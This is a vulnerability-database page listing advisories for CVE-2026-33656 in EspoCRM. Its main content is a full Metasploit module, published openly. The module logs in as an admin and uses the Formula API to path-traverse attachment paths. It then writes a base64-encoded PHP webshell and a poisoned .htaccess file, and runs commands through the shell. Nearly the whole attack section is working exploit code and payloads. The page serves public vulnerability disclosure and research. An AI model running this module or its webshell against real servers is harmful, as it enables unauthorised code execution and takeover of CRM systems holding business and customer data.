| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2026-33656 | 22 Apr 202620:01 | β | attackerkb | |
| CVE-2026-33656 | 25 Mar 202612:58 | β | circl | |
| EspoCRM θ·―εΎιεζΌζ΄ | 22 Apr 202600:00 | β | cnnvd | |
| CVE-2026-33656 | 22 Apr 202620:01 | β | cve | |
| CVE-2026-33656 EspoCRM vulnerable to authenticated RCE via Formula with path traversal in attachment `sourceId`, exploitable by admin user | 22 Apr 202620:01 | β | cvelist | |
| EUVD-2026-25081 | 22 Apr 202620:01 | β | euvd | |
| CVE-2026-33656 | 22 Apr 202621:17 | β | nvd | |
| π EspoCRM 9.3.3 Remote Code Execution / Path Traversal | 25 Mar 202600:00 | β | packetstorm | |
| PT-2026-27774 | 25 Mar 202600:00 | β | ptsecurity | |
| CVE-2026-33656 | 5 Jun 202619:17 | β | redhatcve |
==================================================================================================================================
| # Title : EspoCRM β€ 9.3.3 Authenticated RCE Exploit via Formula ACL Bypass and Attachment Abuse |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.espocrm.com/download/upgrades/ |
==================================================================================================================================
[+] Summary : This Metasploit module targets an authenticated Remote Code Execution (RCE) vulnerability in EspoCRM versions up to 9.3.3.
[+] The exploit chain works as follows:
Authenticates to the EspoCRM API using provided credentials.
Creates a malicious attachment entry via the Attachment API.
Abuses a Formula Engine endpoint to bypass ACL restrictions.
Uses the formula execution to manipulate internal attachment paths (path traversal).
Uploads a PHP webshell payload through chunked attachment upload.
Poisones a .htaccess file to enable execution of PHP code in a restricted directory.
Triggers the uploaded webshell via an HTTP request with a command parameter (whoami as proof of execution).
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'EspoCRM <= 9.3.3 Authenticated RCE via Formula ACL Bypass',
'Description' => %q{
Authenticated RCE in EspoCRM via formula ACL bypass + attachment abuse.
},
'Author' => [
'indoushka'
],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://jivasecurity.com/writeups/espocrm-rce' ],
[ 'CVE', '2026-33656' ]
],
'Platform' => ['php'],
'Arch' => [ARCH_PHP],
'Targets' => [
[ 'EspoCRM <= 9.3.3', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-01-01'
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Username', 'admin']),
OptString.new('PASSWORD', [true, 'Password', 'admin'])
]
)
end
def auth_headers
creds = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
token = Rex::Text.encode_base64(creds)
{
'Espo-Authorization' => token
}
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/v1/App/user'),
'headers' => auth_headers
)
return Exploit::CheckCode::Detected if res && res.code == 200
Exploit::CheckCode::Safe
end
def create_attachment(name, content_type, size)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v1/Attachment'),
'headers' => auth_headers.merge({
'Content-Type' => 'application/json'
}),
'data' => {
'name' => name,
'type' => content_type,
'role' => 'Attachment',
'relatedType' => 'Document',
'field' => 'file',
'isBeingUploaded' => true,
'size' => size
}.to_json
)
return nil unless res && res.code == 200
res.get_json_document&.dig('id')
end
def run_formula(attachment_id, source_path)
expr = "record\\update(\"Attachment\",\"#{attachment_id}\",\"sourceId\",\"#{source_path}\")"
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v1/Formula/action/run'),
'headers' => auth_headers.merge({
'Content-Type' => 'application/json'
}),
'data' => {
'expression' => expr,
'targetType' => nil,
'targetId' => nil
}.to_json
)
return false unless res && res.code == 200
json = res.get_json_document rescue nil
json && json['isSuccess'] == true
end
def upload_chunk(attachment_id, payload_base64)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/v1/Attachment/chunk/#{attachment_id}"),
'headers' => auth_headers.merge({
'Content-Type' => 'application/octet-stream'
}),
'data' => "data:application/octet-stream;base64,#{payload_base64}"
)
end
def exploit
print_status("Creating attachment...")
shell_id = create_attachment('shell.txt', 'text/plain', 0)
fail_with(Failure::UnexpectedReply, "Attachment failed") unless shell_id
print_good("Attachment ID: #{shell_id}")
print_status("Bypassing ACL via formula...")
fail_with(Failure::UnexpectedReply, "Formula failed") unless run_formula(shell_id, '../../client/x')
print_good("Path traversal set")
print_status("Uploading PHP payload...")
php_payload = "PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg=="
upload_chunk(shell_id, php_payload)
print_good("Webshell written")
print_status("Creating .htaccess entry...")
ht_id = create_attachment('ht.txt', 'text/plain', 0)
fail_with(Failure::UnexpectedReply, "HT creation failed") unless ht_id
fail_with(Failure::UnexpectedReply, "HT formula failed") unless run_formula(ht_id, '../../.htaccess')
ht_payload = "CjxGaWxlc01hdGNoICJeeCQiPgpTZXRIYW5kbGVyIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwCjwvRmlsZXNNYXRjaD4="
upload_chunk(ht_id, ht_payload)
print_good(".htaccess poisoned")
webshell = normalize_uri(target_uri.path, 'client/x')
print_status("Executing: #{webshell}")
res = send_request_cgi(
'method' => 'GET',
'uri' => webshell,
'vars_get' => {
'c' => 'whoami'
}
)
if res && res.code == 200
print_good("Execution success")
print_line(res.body.to_s) if res.body
else
fail_with(Failure::UnexpectedReply, "Execution failed")
end
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation